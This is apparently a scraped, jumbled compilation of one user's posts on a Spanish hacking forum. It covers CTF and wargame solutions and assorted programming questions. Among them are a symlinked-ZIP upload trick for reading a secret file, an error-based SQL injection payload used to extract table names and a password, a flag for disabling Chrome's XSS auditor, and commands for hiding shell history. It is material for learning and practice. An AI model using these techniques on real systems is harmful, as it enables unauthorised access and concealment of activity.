En unos días libero la solución de ejecutar comandos remotamente y lo elimino

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes Menú
cat: /tmp/vv89ts6vpptuiju8odh5844j95/gifwebshells: Is a directory <!DOCTYPE html5>
<head>
<meta charset="utf-8"/>
<title>Sube tu archivo aquí</title>
</head>
<body>
<form action="?page=upload" method="post" enctype="multipart/form-data">
<input type="file" name="file"/>
<input type="submit" value="kuankear!"/>
</form>
Contenido del ZIP:<br>Hola, Underc[0]de
</body>
</html>

ln -s /banana/secret.lst prueba1
zip --symlinks prueba1.zip prueba1<!DOCTYPE html5>
<head>
<meta charset="utf-8"/>
<title>Sube tu archivo aquí</title>
</head>
<body>
<form action="?page=upload" method="post" enctype="multipart/form-data">
<input type="file" name="file"/>
<input type="submit" value="kuankear!"/>
</form>
Contenido del ZIP:<br>underc0de{resolviste_el_reto_enhorabuena}
</body>
</html>

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
google-chrome --disable-xss-auditorYou are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Me encantó! En especial porque tengo una Raspberry Pi en mi casa sin uso y ahora ya se que poner en él!
Muchisimas gracias Jimeno!
Tiene algun tipo de limitación? o alguna contra que le hayas encontrado?
Saludos!
ANTRAX

apt-get install mysql-serverapt-get install git
hg clone -u default https://code.google.com/p/go $HOME/go
cd ~/go/src/
./all.bashexport PATH=$PATH:$HOME/go/binsource .bashrccreate database gogs;nohup ./gogs web &

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Gracias a los dos por vuestras respuestas
@You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
No tengo claro si es Blind SQL, tal vez no lo sea porque devuelve errores MySQL cuando la inyección ha provocado que la sintaxis no sea correcta (corrígeme si me equivoco)
Lo que puedo describir es su comportamiento:La inyección que has puesto no ha resultado, pero admito que tampoco la he revisado ni tratado de hacer cambios sobre ella por lo que no descarto que esté bien.
- - Si la consulta se cumple me redirige (cómo tu has dicho)
- - Si no se cumple me muestra "Invalid username or password"
- - Si la inyección provoca un error en MySQL me muestra el error.
@You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Tu inyección creo que si funciona, os relato como he resuelto el pasatiempo y si es posible me confirmas si es la manera correcta.
Yo estaba probando con esta otra inyección que es prácticamente igual.
' or extractvalue(0x0a,concat(0x0a,(select database()))) and ''='
La copié de aquí:
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Revisaré la documentación de mysql relacionada con substring, extractvalue y concat para ver como operan dado que hasta ahora lo he hecho reaprovechando y copiando el código sin más.
Ambas inyecciones me devuelven esto:
XPATH syntax error: ':5.5.44-0+deb8u1'
(No estoy seguro si es normal o al menos entra dentro de lo esperado el mensaje XPATH syntax error, pero al menos retorna info).
He conseguido los datos que necesitaba para el pasatiempo teniendo que recurrir a múltiples inyecciones.
Los pasos han sido estos.
1) Obtener el nombre de la tabla que contiene informacion de los logins.
2) Obtener los nombres de los campos de la tabla.
3) Obtener la password del usuario que me interesa.
Os dejo el enlace al wargame por si lo quereis probar, lo pongo acortado para que google no lo indexe.
Nivel Inicial - You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Nivel 10/11 - You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Un saludo y gracias nuevamente.
from colorama import Fore, Back, Style
print(Fore.RED + 'some red text')
print(Back.GREEN + 'and with a green background')
print(Style.DIM + 'and in dim text')
print(Style.RESET_ALL)
print('back to normal now')You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or LoginYou are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Cafe
Eclipse o Android Studio?
Eclipse
Amiga con roce o novia?
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Hola Pistojo, bajé el archivo .7z (dos veces) y no lo reconoce como archivo válido para abrir ni en entorno Win ni en Mac. Probé renombrar el archivo como otros métodos de compresión pero tampoco.
Claramente estoy haciendo algo mal porque no llego ni a poner la clave que se indica en el post.
Gracias!You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Hola actuario. Que pasos has intentado?
Enviado desde mi SM-G900F mediante Tapatalk
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or LoginYou are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Si ponemos un espacio en blanco al principio del comando éste no se guardará en el histórico.Código: bash rand0m@box0:~$ history -c
rand0m@box0:~$ echo "This will not appear on history"
This will not appear on history
rand0m@box0:~$ echo "But this will"
But this will
rand0m@box0:~$ history
1 echo "But this will"
2 historyCódigo: bash [b3n@genesis ~]$ echo "Si se guarda"
[b3n@genesis ~]$ history
386 echo "Si se guarda"
387 history
[b3n@genesis ~]$
export HISTFILE=/dev/null
echo "¿Se guarda?"
history -c
<?php
// Mejor
$aux = $_POST['encendido4'];
if ($aux) {...}
// Peor
if ($_POST['encendido4']) {...}
?>
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
PHP Notice: Undefined index: encender4 in /var/www/php/alarma.php on line 20
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Nada, tampoco funciona.
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or LoginY el signo de igual?
He estado haciendo una a una las variaciones que me has comentado pero no funciona:
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
y si le quito el guión de a- exec no sale ni la página php, tiene permisos 755 tanto la página php como el script
y la variable encender no sé no esta declarada, en un tutorial salía así directamente.